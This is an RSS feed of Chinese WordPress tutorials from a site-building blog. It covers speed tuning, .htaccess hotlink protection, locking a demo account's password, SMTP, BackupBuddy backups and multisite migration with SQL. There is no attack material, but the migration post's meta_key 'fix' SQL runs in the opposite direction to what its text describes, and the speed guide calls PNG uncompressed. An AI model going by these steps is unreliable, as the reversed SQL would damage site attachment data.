WordPress教程 – 蓝月网络 https://lanyueer.com 专注于WordPress外贸建站,主题插件汉化、配置 Sat, 15 Jul 2017 09:16:35 +0000 zh-CN hourly 1 提升WordPress速度和性能的终极指南 https://lanyueer.com/the-ultimate-guide-to-boost-wordpress-speed-performance/ Sat, 15 Jul 2017 06:40:08 +0000 https://lanyueer.com/?p=988 你想加快你的WordPress网站吗? 快速加载页面可提高用户体验,增加浏览量,并帮助您的WordPress SEO。 在本文中,我们将分享最有用的WordPress速度优化提示,以提高WordPress的性能并加快您的网站。

提升WordPress速度和性能的终极指南,首发于蓝月网络。

]]>
你想加快你的WordPress网站吗? 快速加载页面可提高用户体验,增加浏览量,并帮助您的WordPress SEO。 在本文中,我们将分享最有用的WordPress速度优化提示,以提高WordPress的性能并加快您的网站。
The Ultimate Guide to Boost WordPress Speed & Performance

与其他“X最佳WordPress缓存插件”列表或通用“X提示加速WordPress”教程不同,本文是WordPress性能优化的综合指南。

WordPress性能基础

为什么速度对您的WordPress网站很重要?

研究表明,从2000年到2016年,人们的平均注意力范围从12秒下降到了7秒。

这对作为网站所有者的您意味着什么?

您很少有时间向用户展示您的内容,并说服他们留在您的网站上。

一个缓慢的网站意味着用户可能会在您的网站加载之前离开您的网站。

根据涉及亚马逊,谷歌和其他较大网站的StrangeLoop案例研究,页面加载时间延迟1秒可能导致转换损失7%,浏览量减少11%,客户满意度降低16%。

The Ultimate Guide to Boost WordPress Speed & Performance

除此之外,谷歌和其他搜索引擎已经开始通过在搜索结果中惩罚较慢的网站,这意味着较慢的网站流量会降低。

总而言之,如果您想要更多的流量、订阅者和网站收入,那么您必须让您的WordPress网站更快速!

如何检查您的WordPress网站速度?

初学者通常认为,他们在自己的电脑上浏览自己的网站感觉不慢就认为自己的网站OK。 这是一个巨大的错误。

由于您经常访问您自己的网站,Chrome等现代浏览器会将您的网站存储在缓存中,并在您开始输入地址后立即自动预取。 这使您的网站几乎立即就能加载。

但是,第一次访问您的网站的普通用户可没有相同的体验。

事实上,不同地理位置的用户将有完全不同的体验。

这就是为什么我们建议您使用Pingdom这样的工具测试您的网站速度。
The Ultimate Guide to Boost WordPress Speed & Performance

它是一个免费的在线工具,可让您从不同的地点测试您的网站的速度。

运行网站速度测试后,您可能会想知道什么是好的网站速度?

良好的页面加载时间不到2秒。

但是,你能做得越快越好。 这里有几毫秒的改进,加起来可以减少一半或甚至从您的加载时间一整秒。

什么降低了您的WordPress网站速度?

您的速度测试报告可能会有多项改进建议。 但是大多数是技术术语,这对于初学者很难理解。

然而,了解您的网站减缓的速度是提高速度和做出更明智的长期决策的关键。

WordPress网站缓慢的主要原因是:

  • 网络托管 – 当您的虚拟主机服务器配置不正确时,可能会影响您的网站速度。
  • WordPress配置 – 如果您的WordPress网站不缓存页面,那么它将使您的服务器过载,从而导致您的网站缓慢或完全崩溃。
  • 页面大小 – 主要是未针对网页进行优化的图像。
  • 坏插件 – 如果您使用编码不好的插件,那么可能会使您的网站明显减慢。
  • 外部脚本 – 外部脚本(如广告,字体加载程序等)也可能对您的网站性能产生巨大影响。

现在,您知道WordPress网站为什么运行缓慢了,让我们来看看如何加快您的WordPress网站的速度。

良好的WordPress主机的重要性

您的WordPress主机服务在网站性能中起着重要作用。 一个很好的共享托管服务提供商,如BlueHost或Siteground采取额外的措施来优化您的网站的性能。

但是,在共享主机上,您可能与许多其他客户共享服务器资源。 这意味着如果您的邻居网站获得了大量的流量,那么它可能会影响整个服务器的性能,这反而会降低您的网站的速度。

另一方面,使用受管理的WordPress主机服务可以为您提供最优化的服务器配置来运行WordPress。 管理的WordPress托管公司还提供自动备份,自动WordPress更新和更高级的安全配置来保护您的网站。

简单的步骤加快WordPress(无编码)

我们知道,对您的网站配置进行更改对初学者来说可能是一个可怕的想法,特别是如果您不是技术怪人。

但不用担心,我们将向您展示如何加快您的WordPress网站,只需点击几下(无需编码)。

安装WordPress缓存插件

WordPress的页面是“动态的”。这意味着每次有人访问您网站上的文章或页面时,它们都会立即建立。 要创建页面,WordPress必须运行一个进程来查找所需的信息,将其放在一起,然后将其显示给用户。

这个过程涉及很多步骤,当您有多个人一次访问您的网站时,可能会减慢您的网站的速度。

这就是为什么我们建议每个WordPress网站使用缓存插件。 缓存可以使您的WordPress网站的速度从2x到5倍。

以下是它的工作原理:每次您的缓存插件不会遍历整个页面生成过程,而是在第一次加载之后创建页面的副本,然后为每个后续用户提供该缓存版本。
The Ultimate Guide to Boost WordPress Speed & Performance

如上图所示,当用户访问您使用PHP构建的WordPress站点时,您的服务器将从MySQL数据库和PHP文件中检索信息,然后将其全部放入一个被提供的HTML内容中给用户。这是一个漫长的过程,但是当您使用缓存时,您可以跳过很多过程。

有很多缓存插件可用于WordPress,但我们建议使用WP Rocket缓存插件。

注意:如果您使用受管理的WordPress托管服务提供商,那么您不需要缓存插件,因为它们会为您处理。

优化图像速度


The Ultimate Guide to Boost WordPress Speed & Performance
图片为您的内容带来生命,并有助于提高参与度。 研究人员发现,使用彩色的视觉效果,使80%人更容易阅读你的内容。

但是,如果您的图像未经过优化,可能会坏处多于好处。 事实上,未优化的图像是我们在初学者网站上看到的最常见的速度问题之一。

在您直接从手机或相机上传照片之前,我们建议您使用照片编辑软件优化网页的图像。

这些照片的原始格式的文件大小是很大的。 但是,根据您在编辑软件中选择的图像文件格式和压缩 ,您可以将图像尺寸降低5倍之多。

一般情况下,我们只使用两种图像格式:JPEG和PNG。

现在你可能会想:有什么区别?

那么PNG图像格式是未压缩的。 当您压缩图像时,它会丢失一些信息,因此未压缩的图像将以更高的质量提供更多的细节。 缺点是它是一个更大的文件,所以加载需要更长的时间。

另一方面, JPEG是一种压缩文件格式,可以稍微降低图像质量,但尺寸明显更小。

那么我们如何决定选择哪种图像格式?

  • 如果我们的照片或图像有很多不同的颜色,那么我们使用JPEG。
  • 如果它是一个更简单的图像,或者我们需要一个透明的图像,那么我们使用PNG。

我们的大部分图像是JPEG。

以下是我们可以用于上面使用的StrangeLoop图像的文件大小和不同压缩工具的比较图。

The Ultimate Guide to Boost WordPress Speed & Performance

您可以在图表中看到,您使用的图像格式可能会对您的网站性能产生巨大的影响。

WordPress性能优化最佳实践

安装缓存插件并优化图像后,您会注意到您的网站将开始加载更快。

但是,如果您真的希望尽可能保持网站的速度,则需要使用下面列出的最佳做法。

这些提示不是太技术性,所以您不需要知道任何代码就可以实现它们。

保持您的WordPress网站更新


The Ultimate Guide to Boost WordPress Speed & Performance
作为一个维护良好的开源项目,WordPress经常更新。 每个更新不仅将提供新功能,还可以修复安全问题和错误。

作为网站所有者,您有责任将WordPress网站更新为最新版本。 不这样做可能会使您的网站变得缓慢而不可靠,并使您易受安全威胁的影响。

在首页和归档上使用摘录


The Ultimate Guide to Boost WordPress Speed & Performance
默认情况下,WordPress显示您的主页和存档的每篇文章的完整内容。 这意味着您的主页,类别,标签和其他归档页面都将加载较慢。

在这些页面上显示完整文章的另一个缺点是用户不需要访问实际的文章。 这可能减少您的浏览量,以及用户在您的网站上花费的时间。

为了加快存档页面的加载时间,您可以将您的站点设置为显示摘录,而不是完整的内容。

您可以导航到设置»阅读并选择“对于Feed中的每篇文章,显示:摘要”而不是“全文”。
The Ultimate Guide to Boost WordPress Speed & Performance

页面的评论分页


The Ultimate Guide to Boost WordPress Speed & Performance
在你的博客文章上获得很多评论 ? 恭喜! 这是受众群体的重要指标。

但缺点是,加载所有这些评论可能会影响您的网站的速度。

WordPress提供了一个内置的解决方案。 只需转到“设置”»“讨论”,然后选中“分页显示评论”选项旁边的框。

使用CDN

记住我们上面提到的不同地理位置的用户在您的网站上可能会遇到不同的加载时间?

这是因为您的网站托管服务器的位置可能会影响您的网站速度。 例如,假设您的虚拟主机公司的服务器在美国。 同样在美国的访客通常会比中国的访客看到的加载时间更快。

使用CDN或内容交付网络可以帮助您加快所有访问者的加载时间。

CDN是由世界各地的服务器组成的网络。 每个服务器将存储用于组成网站的“静态”文件。 静态文件是不变的文件,如图像,CSS和JavaScript,与上述“动态”的WordPress页面不同。

当您使用CDN时,每次用户访问您的网站时,他们将从最接近他们的服务器提供这些静态文件。 自己的网络托管服务器也会更快,因为CDN正在做很多工作。

您可以在此信息图中看到它的工作原理。
The Ultimate Guide to Boost WordPress Speed & Performance

不要直接将视频直接上传到WordPress

您可以直接将视频上传到您的WordPress网站,并会自动将其显示在HTML5播放器中…

但建议你不要这样做!

托管视频会消耗您带宽。 您的网络托管公司可能会收取超额费用,即使您的计划包含“无限”带宽,他们也有可能完全关闭您的网站。

托管视频还大大增加备份大小,并使您难以从备份还原WordPress 。

相反,您应该使用像Youku,YouTube,Vimeo,DailyMotion等视频托管服务,让他们妥善处理。 他们有带宽!

WordPress具有内置的视频嵌入功能,因此您可以将视频的网址直接复制并粘贴到您的文章中,并自动嵌入。

使用速度优化的主题


The Ultimate Guide to Boost WordPress Speed & Performance
为您的网站选择WordPress主题时 ,重要的是要特别注意速度优化。 一些漂亮而令人印象深刻的主题实际上编码不好,可能会降低网站的速度。

通常使用更简单的主题和使用高质量插件来获得所需的功能通常更好,而不是使用复杂的布局、动画和其他不必要的功能来选择笨重的主题。

高级WordPress主题店,如StudioPress , Themify和Array主题提供了经过良好编码和优化速度的主题。 您还可以查看我们的文章, 选择完美的WordPress主题 ,寻求寻找的建议。

使用更快的滑块插件


The Ultimate Guide to Boost WordPress Speed & Performance
滑块是另一种常见的网页设计元素,可能使您的网站变慢。

即使您的图像都按照上述方式进行了优化,编码不佳的滑块插件将意味着你所有的工作都是白费。

我们比较了最好的WordPress滑块插件的性能和功能,而Soliloquy是迄今为止最快的。

这与其他流行的滑块插件进行比较。

The Ultimate Guide to Boost WordPress Speed & Performance

使用更快的图库插件

如果您有摄影网站或作品展示 ,那么您可能需要使用图片库插件来显示您的照片。

真正重要的是,您使用针对速度进行了优化的WordPress库插件。

我们建议使用Envira画廊 ,这是市场上最好的WordPress画廊插件 。 它允许您创建闪电般快速加载的美丽图像画廊。

我们测试了其速度与其他几个流行的画廊插件相比,发现Envira Galley几乎是两倍:
The Ultimate Guide to Boost WordPress Speed & Performance

微调WordPress速度(高级)

通过使用上面提到的WordPress优化最佳做法和基本速度提示,您应该看到网站加载时间有很大的改进。

如果您想要获得最快的速度,您需要再进行一些更改。

以下提示有一点技术性,有些要求您修改您的站点文件或对PHP有基本的了解。 您需要确保先备份您的网站 ,以防万一。

如何通过BackupBuddy保持您的WordPress内容安全

您是否正在为您的WordPress网站寻找可靠的备份插件? 无论您是运行一个小型个人博客还是商业网站,我们强烈建议您为WordPress网站设置自动备份解决方案。 在本文中,我们将向您展示如何使用BackupBuddy保护您的WordPress内容安全。

将长文章分页


The Ultimate Guide to Boost WordPress Speed & Performance
读者倾向于喜欢更长更深入的博客文章。 更长的文章在搜索引擎中排名更高。

但是,如果您发布具有大量图像的长文章,可能会延长您的加载时间。

相反,请考虑将更长的文章分成多个页面。

WordPress附带内置功能。 只需在文章中添加<!––nextpage––>标签即可将其拆分成下一页。 如果你想将文章分割到下一页,那么再做一次。

减少外部HTTP请求


The Ultimate Guide to Boost WordPress Speed & Performance
许多WordPress插件和主题从其他网站加载各种文件。 这些文件可以包括来自Google,Facebook,分析服务等外部资源的脚本、样式表和图像。

可以使用其中的几个。 许多文件经过优化以尽可能快地加载,所以它比在自己的网站上托管更快。

但是,如果您的插件提出了很多这样的请求,那么可能会使您的网站明显减慢。

您可以通过禁用脚本和样式或将它们合并到一个文件中来减少所有这些外部HTTP请求。

减少数据库调用


The Ultimate Guide to Boost WordPress Speed & Performance
注意:这一步更有技术性,需要PHP和WordPress模板文件的基础知识。

不幸的是,有很多WordPress的主题编码很差。 它们忽略了WordPress的标准实践,最终导致直接的数据库调用,或者对数据库的不必要的请求。

即使是编码良好的主题也可能使用代码使数据库调用只是为了获取博客的基本信息。

在这个例子中,每次看到<?php ,这就是新数据库调用的开始:

  1. <html xmlns="http://www.w3.org/1999/xhtml" dir="<?php language_attributes(); ?>"><head profile="http://gmpg.org/xfn/11">
  2. <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?> 
  3. charset=<?php bloginfo('charset'); ?>" />

你不能怪责主题开发人员。 他们根本就没有其他方法来知道你的网站是什么语言的。

但是,如果您使用子主题自定义您的站点,则可以使用特定信息替换这些数据库调用,以减少所有这些数据库调用。

  1. <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
  2. <head profile="http://gmpg.org/xfn/11">
  3. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

检查您的父主题,这样的实例可以轻松地替换为静态信息。

优化WordPress数据库


The Ultimate Guide to Boost WordPress Speed & Performance
使用WordPress一段时间后,您的数据库将有大量的信息,您可能不再需要了。 为了提高性能,您可以优化数据库以摆脱所有不必要的信息。

这可以通过WP-Sweep插件轻松管理。 它可以通过删除垃圾邮件、修订版本、未使用的标签等来清除WordPress数据库。它还可以通过点击即可优化数据库的结构。

限制发布修订


The Ultimate Guide to Boost WordPress Speed & Performance
发布修订会占用您WordPress数据库中的空间。 有些用户认为,修订版也可以影响由插件运行的一些数据库查询。 如果插件没有特别排除发布的修订版本,可能会不必要地搜索您的网站,从而减慢您的网站的速度。

您可以轻松地限制WordPress为每篇文章保留的修订数量。 只需将这一行代码添加到你的wp-config.php文件中。

  1. define( 'WP_POST_REVISIONS', 4 );

此代码将限制WordPress仅保存每个帖子或页面的最后4个版本,并自动丢弃较旧的修订版本。

防止图片被盗链


The Ultimate Guide to Boost WordPress Speed & Performance
如果您在WordPress网站上创建优质内容,那么可悲的事实是,它可能会迟早被盗。

一种方式是其他网站直接从您网站上的网址上传图片,而不是将其上传到自己的服务器。 实际上,他们正在窃取您的网络托管带宽,并且您没有获得任何流量来显示。

只需将此代码添加到.htaccess文件中即可阻止WordPress站点的图像盗链。

  1. #disable hotlinking of images with forbidden or custom image option
  2. RewriteEngine on
  3. RewriteCond %{HTTP_REFERER} !^$
  4. RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?lanyueer.com [NC]
  5. RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?google.com [NC]
  6. RewriteRule \.(jpg|jpeg|png|gif)$ – [NC,F,L]

注意:不要忘记使用自己的域替换lanyueer.com。

服务器优化


The Ultimate Guide to Boost WordPress Speed & Performance
如果你使用的是 VPS或服务器,可以做如下优化:

  • MySQL 设置 MySQL Query Cache,可以保存保存查询结果,同样的查询不再从数据库检索,对速度有很大的提升。
  • PHP 开启 OPCache:把经过编译后的 PHP 代码缓存到共享内存中,并在用户访问的时候直接调用从而起到高效的加速作用。
  • 安装 Memcached 和 PHP Memcached 扩展:使用 Memcached 来缓存 WordPress 数据。

提升WordPress速度和性能的终极指南,首发于蓝月网络。

]]>
WordPress 技巧:屏蔽 DEMO 账号修改密码 https://lanyueer.com/disable_demo_show_password_fields/ Wed, 28 Jun 2017 06:53:07 +0000 https://lanyueer.com/?p=965 我们使用 WordPress 做系统,然后提供 DEMO 账号给用户演示功能,但是有些用户就是手贱把 DEMO…

WordPress 技巧:屏蔽 DEMO 账号修改密码,首发于蓝月网络。

]]>
我们使用 WordPress 做系统,然后提供 DEMO 账号给用户演示功能,但是有些用户就是手贱把 DEMO 账号的密码给改了,很是烦人,其实有办法对付他们的。

下面这段代码就可以把 DEMO 账号(这你 ID 是 50,根据你的 DEMO 账号进行调整)的在后台用户编辑界面的密码修改功能都给屏蔽了,用户自然无法修改了。

  1. add_filter('show_password_fields', 'disable_demo_show_password_fields', 10, 2);
  2. function disable_demo_show_password_fields($status, $profileuser){
  3. 	if($profileuser->ID == 50){
  4. 		return false;
  5. 	}
  6. 	return $status;
  7. }

WordPress 技巧:屏蔽 DEMO 账号修改密码,首发于蓝月网络。

]]>
WordPress SMTP发送邮件插件:WP SMTP https://lanyueer.com/wordpress-smtp-email/ Wed, 14 Jun 2017 10:01:43 +0000 https://lanyueer.com/?p=949 对于一个网站而言,发送邮件的功能是必不可少的,现在的主机一般都支持发送邮件,但是不同的主机由于函数限制或者某些其他原因,可能造成没办法正常发送邮件。这时候,我们可能就要借助第三方SMTP发送邮件。

WordPress SMTP发送邮件插件:WP SMTP,首发于蓝月网络。

]]>
对于一个网站而言,发送邮件的功能是必不可少的,现在的主机一般都支持发送邮件,但是不同的主机由于函数限制或者某些其他原因,可能造成没办法正常发送邮件。这时候,我们可能就要借助第三方SMTP发送邮件。

对于使用WordPress建站的朋友来说,SMTP发送邮件的插件还是比较多的,功能大多类似,下面以WP SMTP为例讲解一下配置。

WP SMTP简介

WP SMTP插件是国人制作的,设置页面的顶部包含了 Gmail邮箱、微软邮箱、163邮箱、QQ邮箱的设置示例,可以点击对应的图标查看示例截图,其他邮箱设置方法也差不多。

WP SMTP插件已被WordPress官方收录,已自带简体中文语言包,而且可以在卸载时自动删除设置数据。

配置好 WP SMTP 以后,你可以发送一封测试邮件,看是否成功。

WP SMTP插件下载

WP官方 | 作者官方

类似插件推荐

如果不想使用插件的话,单纯使用代码也是可以的:

WordPress无插件实现SMTP发送邮件

在使用WordPress的过程中,不可避免地要用到邮件功能。WP自带了mail函数,但用自带mail函数发送邮件很容易失败或者被拒收。所以很多人选择用更方便高效的SMTP来发送邮件。要用SMTP发送邮件,首先需要拥有一个支持SMTP的邮箱(包括Gmail、QQ、126、163等主流邮箱都支持SMTP功能,可能需要到设置中打开),然后在WordPress...


只要你搜索 SMTP ,你会发现不少类似的插件,你可以试试 Configure SMTP 或 WP-Mail-SMTP

WordPress SMTP发送邮件插件:WP SMTP,首发于蓝月网络。

]]>
如何通过BackupBuddy保持您的WordPress内容安全 https://lanyueer.com/how-to-keep-your-wordpress-content-safe-with-backupbuddy/ Mon, 22 May 2017 13:49:41 +0000 https://lanyueer.com/?p=917 您是否正在为您的WordPress网站寻找可靠的备份插件? 无论您是运行一个小型个人博客还是商业网站,我们强烈建议您为WordPress网站设置自动备份解决方案。 在本文中,我们将向您展示如何使用BackupBuddy保护您的WordPress内容安全。

如何通过BackupBuddy保持您的WordPress内容安全,首发于蓝月网络。

]]>
您是否正在为您的WordPress网站寻找可靠的备份插件? 无论您是运行一个小型个人博客还是商业网站,我们强烈建议您为WordPress网站设置自动备份解决方案。 在本文中,我们将向您展示如何使用BackupBuddy保护您的WordPress内容安全。

为什么需要您的网站的WordPress备份插件

互联网上的所有网站都容易受到安全威胁的影响。 任何网站都可能成为黑客,数据丢失或服务器灾难的牺牲品。

无论您是否使用WordPress网站,都可能发生这种情况。 任何有经验的人都可以告诉你,问题不在于是否会发生,而是一定会发生的。

保护自己免受此类灾难的第一步是实施自动备份解决方案。

就像您的计算机一样,您可以备份您的网站并将备份存储在不同的位置。 这样您就可以在需要时轻松恢复网站。

BackupBuddy是一个WordPress备份插件 ,可以让您自动创建WordPress站点的完整备份,并将其保存在多个远程位置,如云存储服务,计算机,FTP服务器等。

在您的WordPress网站上安装BackupBuddy

购买插件后,您需要将其下载到您的计算机。

接下来,您需要安装并激活BackupBuddy插件。

使用BackupBuddy设置预定备份

只需访问BackupBuddy »备份页面即可创建和设置备份。

BackupBuddy quick setup wizard

首先,您需要提供一个电子邮件地址。 这是BackupBuddy将向您发送电子邮件通知和备份电子邮件的地址。

接下来你需要提供一个密码。 如果您使用BackupBuddy将WordPress站点移动到新服务器或主机时,将使用此密码。

设置了密码之后需要选择发送备份的位置。

有很多选项可用。 您可以将您的WordPress备份存储在Dropbox,Google Drive,Amazon S3,Email,FTP,本地存储等。

Choose where to save backups

最后,您需要选择创建备份的频率。 您可以根据需要创建手动备份,或者选择每月或每周的完整备份选项,每日数据库备份。

点击保存设置按钮继续。

BackupBuddy现在将显示备份配置文件页面。 您可以单击数据库或完整备份配置文件来创建您的第一个备份。

Backup Profiles

由于您之前尚未创建备份,因此建议您单击完整备份配置文件。

确保选中“作为备份过程的一部分发送到远程目标 ”旁边的框。 这将弹出一个弹出窗口,您可以从中选择您之前添加的目的地之一。

Select backup destination

BackupBuddy将开始创建备份文件。 您将可以看到备份的进度。 一旦完成,您将看到一个成功的消息。

您现在可以检查所选的远程目标,以确保备份已成功传输。

使用BackupBuddy恢复WordPress备份

BackupBuddy不仅可以轻松创建备份,还可以轻松地从备份还原站点。

只需转到BackupBuddy»恢复/迁移页面,并向下滚动到您的备份部分。 在那里您将看到浏览或还原文件和数据库回滚的链接。

Restore files and database from backup

要完整恢复或迁移,您需要下载并将importbuddy.php文件和完整备份zip文件上传到您的服务器。请访问您的Web浏览器中的importbuddy.php。 它在您的网站的根目录中,因此其URL将类似于:

http://www.example.com/importbuddy.php

ImportBuddy现在将要求您下载ImportBuddy时创建的密码。

在下一个屏幕上,ImportBuddy将显示您上传的备份文件。 如果您没有使用FTP上传备份文件,则可以单击上传选项卡以立即上传备份文件。 选择数据后,单击下一步继续。

ImportBuddy将解压缩您的备份文件,并在提取文件时显示成功消息。 点击下一步按钮继续。 在下一个屏幕上,ImportBuddy将要求您提供站点数据库信息。(如果数据库中已经有数据,还需要选中清除数据) 然后点击下一步。

在下一个屏幕上,ImportBuddy将要求您提供站点URL。 如果您从一个域移动到另一个域,或将本地服务器站点移动到实际站点,则需要更新站点URL。 如果您只是恢复WordPress网站,那么它将被设置为使用您当前的URL。

完成后测试没有问题就需要删除临时文件。

如何通过BackupBuddy保持您的WordPress内容安全,首发于蓝月网络。

]]>
如何把WordPress数据迁移至WordPress MU https://lanyueer.com/wordpress-to-wordpress-mu/ Thu, 18 May 2017 03:13:59 +0000 http://lanyueer.com/?p=905 本文是《WordPress 多站点》系列教程的第 8 部分,该系列共包含以下8个部分:在MU中最原始的站点数据…

如何把WordPress数据迁移至WordPress MU,首发于蓝月网络。

]]>
本文是《WordPress 多站点》系列教程的第 8 部分,该系列共包含以下8个部分:

在MU中最原始的站点数据是不需要改动,只需要转移新添加的站点文件和数据,而这个转移的过程并不是很轻松。

WordPress的数据包括程序文件和数据库,所以转移的过程也分为两部分:

首先,我们来了解一下新创建的站点文件夹和数据表结构,在Wordpress中新建的数据库表前缀是:“wp_”的形式,而MU创建的第二个站点数据库表前缀是:“wp_2_”(2是新站点的ID)的形式;而MU创建新站点时会在主站的uploads文件夹下创建sites文件夹,再根据ID(假如ID为2)会在sites文件夹下再创建数字“2”这个文件夹,这样我们就明白数据该如何转移了。

一、程序文件的转移

转移的目标:主题和uploads文件夹下的所有文件

1、主题,我们可以在“管理网络”中的“主题”中直接安装,也可以在主机上拷贝到主站的themes文件夹下,然后在管理网络——外观——主题,点击“开放给整个站点网络使用”,这时我们就可以返回到新站点中进行启用该主题。

2、文件,把uploads文件夹下的所有文件都转移到“2”这个文件夹下即可。

二、数据库的转移

也许我们会想到用WP自身的导入与导出工具,把所有文章全部导出,再导入到新的站点,如果文章多,导出的XML文件好几M,导入的时候会耗费太长的时间,那就让人头痛了。所以我们推荐大家把原数据库导出,然后导入到新的站点。

1、导出原博客中的数据

打开 phpMyAdmin,导出原博客中的数据为.sql文件,数据表如下:

wp_commentmeta
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_terms
wp_term_relationships
wp_term_taxonomy
wp_usermeta
wp_users

a、用文本编辑器打开导出的 .sql 文件,使用全局替换功能将其中的”wp_”替换为”wp_2_”(2为新站点的ID,如果ID是3,就写成wp_3_),替换并保存;

b、再将“wp-content/uploads”全局替换为“wp-content/uploads/sites/2”,把媒体文件的路径修改成网络路径。

2、导入修改好的数据库到MU数据库中

现在打开新站点的phpMyAdmin,找到MU数据库,你会发现数据库中有“wp_”和“wp_2_”两个表前缀的数据库,把前缀为“wp_2_”所有的数据删除或重命名,然后导入刚才修改过的 .sql 文件。

3、修正“siteurl”与“home”中的地址(在没有绑定原域名之前)

在MU新创建的站点,域名是newname.Domainname.com这样的二级域名,我们需要把原域名修改成MU中新添加的二级域名,打开wp_options数据表,找到名称为“siteurl”与“home”两个数据,修改其中的值即可。

有些朋友在使用的过程中发现使用原博客中的wp_options数据会出现问题,如果有问题就不导出原博客中的wp_options数据,使用新站点wp_options数据,然后再设置下新站点。

在后面我们会讲到如果绑定域名,如果绑定了原域名而且使用原博客中的wp_options数据,我们就不需要修改这一步了!

4、修正文章作者

因为修改过的数据库表前缀为“wp_2_”,与之前的是不一样,所以我们需要在MU中把新站点中所有的文章作者指定给MU管理员,可以在phpMyAdmin中的SQL中执行以下代码:

  1. UPDATE wp_2_posts SET post_author = 1

如果新站点的有多个作者,那只有在后台——文章列表中选择同一作者的文章进行批量修改了。

5、修正数据库中的meta_key

我们在前面修改表前缀是全局替换,我们也把一些不需要修改成“wp_2_”这样的数据给修改好,如数据库表 wp_2_postmeta 和 wp_2_usermeta 中的一些meta_key,基本上是以“_wp_”这样的数据表,所以我们需要在替换完成后将其改回原来的值,仍以博客 ID 为2作为例子,在 MU 的数据库中使用下面的 SQL 语句进行修正:

  1. UPDATE wp_2_postmeta SET meta_key = '_wp_2_attachment_metadata' WHERE meta_key = '_wp_attachment_metadata'
  2. UPDATE wp_2_usermeta SET meta_key = '_wp_2_attached_file' WHERE meta_key = '_wp_attached_file'

可能不止这两处地方,根据实际情况再修改回来。

到这里文件与数据的转移基本完成,前往“管理网络”后台中将插件与主题启用,新的站点就可以使用了。

如何把WordPress数据迁移至WordPress MU,首发于蓝月网络。

]]>
WordPress MU多站点网络域名绑定插件Domain Mapping的安装与使用 https://lanyueer.com/wordpress-mu-domain-mapping/ Thu, 18 May 2017 03:06:24 +0000 http://lanyueer.com/?p=900 本文是《WordPress 多站点》系列教程的第 7 部分,该系列共包含以下8个部分:WordPress可以为…

WordPress MU多站点网络域名绑定插件Domain Mapping的安装与使用,首发于蓝月网络。

]]>
本文是《WordPress 多站点》系列教程的第 7 部分,该系列共包含以下8个部分:

WordPress可以为每个站点绑定不同的域名,这时我们就需要使用WordPress MUDomain Mapping插件来为MU不同的站点绑定不同的域名。

在绑定域名之前我们需要把绑定的域名DNS服务器设置A记录,IP为WordPress MU的服务器IP,如果几个站点都是在同一主机下就略过。

插件的使用步骤如下:
一、在“管理网络”下的插件管理器中搜索并安装WordPress MUDomain Mapping插件,再点击“在整个网络中启用”。二、把插件目录下的sunrise.php文件移动到wp-content文件夹下

三、编辑 wp­config.php 文件,在最后一行 ‘require_once’ 前面添加如下代码:

  1. define( 'SUNRISE', 'on');

最终代码为:

  1. /** 设置 WordPress 变量和包含文件。 */
  2. define( 'SUNRISE', 'on');
  3. require_once(ABSPATH . 'wp-settings.php');

刷新后出现WordPress MUDomain Mapping面板的内容,提示Domain Mapping数据表创建成功,接下来我们就可以设置IP和添加域名了。

四、在“管理网络”中的设置菜单 下有Domain Mapping和Domains 两个菜单。

1、首页在 Domain Mapping中可以设置IP和CNAME,IP 就是你的 WordPress MU安装的空间IP,也就是当前主域名指向的 IP。CNAME设置可选,Domain Options几个选项可根据情况设置,默认也可以。

2、进入Domains菜单中,如下图,分别输入 Site ID 和 Domain,然后保存。保存后新添加的域名会在页面下方列出来,可以再进行编辑和删除。

在新添加域名的站点下“工具——Domain Mapping”会出现上一步设置的域名,当然你也可以在新站点添加域名,效果和上一步类似。五、最后修改新站点的地址,依然在“管理网络”中,找到站点——所有站点,点击需要编辑的站点,如下图:

把域名更改为绑定的域名,其它设置默认,保存更改。

WordPress MU多站点网络域名绑定插件Domain Mapping的安装与使用,首发于蓝月网络。

]]>
WordPress多站点网络插件和主题检测:Network Plugin Auditor https://lanyueer.com/wordpress-network-plugin-auditor/ Thu, 18 May 2017 02:43:29 +0000 http://lanyueer.com/?p=895 本文是《WordPress 多站点》系列教程的第 6 部分,该系列共包含以下8个部分:对于WordPress多…

WordPress多站点网络插件和主题检测:Network Plugin Auditor,首发于蓝月网络。

]]>
本文是《WordPress 多站点》系列教程的第 6 部分,该系列共包含以下8个部分:

对于WordPress多站点网络,你可能需要了解哪个站点使用了什么主题和插件,建议你试试Network Plugin Auditor插件。

Network Plugin Auditor 专用于多站点模式下,会在你的主题和插件管理界面,显示它们都被哪些站点使用。这样一来,你就可以很快了解,并且不会误删正在使用的主题或插件。

在后台插件安装界面搜索 Network Plugin Auditor 即可现在安装,或者下载 Network Plugin Auditor:

下载 Network Plugin Auditor

WordPress多站点网络插件和主题检测:Network Plugin Auditor,首发于蓝月网络。

]]>
WordPress 关闭多站点模式 https://lanyueer.com/uninstall-wordpress-multisite/ Thu, 18 May 2017 02:38:14 +0000 http://lanyueer.com/?p=894 本文是《WordPress 多站点》系列教程的第 5 部分,该系列共包含以下8个部分:开始之前,你要备份整个数…

WordPress 关闭多站点模式,首发于蓝月网络。

]]>
本文是《WordPress 多站点》系列教程的第 5 部分,该系列共包含以下8个部分:

开始之前,你要备份整个数据库和所有文件,然后想办法将主站点以外的所有站点的恢复到其他地方,或者分别转到单站点模式。在这里暂时不介绍这个步骤,但是你一定要自己做好!!建议先阅读 WordPress 开启多站点(含Apache和Nginx伪静态规则),因为很多步骤都是反过来的。

1、禁用所有插件,删除主站点以外的所有站点(记得备份或迁移这些站点,删除操作将会删除相关的数据)

2、删除之前添加到 wp-config.php 用来开启多站点的配置代码(类似以下代码:)

  1. define('WP_ALLOW_MULTISITE', true);
  2.  
  3. define('MULTISITE', true);
  4. define('SUBDOMAIN_INSTALL', true);
  5. define('DOMAIN_CURRENT_SITE', 'yourdomain.com');
  6. define('PATH_CURRENT_SITE', '/');
  7. define('SITE_ID_CURRENT_SITE', 1);
  8. define('BLOG_ID_CURRENT_SITE', 1);

这时登录后台你会发现已经回到了单站点模式

3、清除多站点的伪静态规则:如果是Apache环境,请删除之前添加到 .htaccess 的规则代码;如果是 Nginx环境,请删除添加conf配置文件的代码。具体的请查看之前的 WordPress 开启多站点(含Apache和Nginx伪静态规则) 。访问网站后台,重新设置固定链接结构。

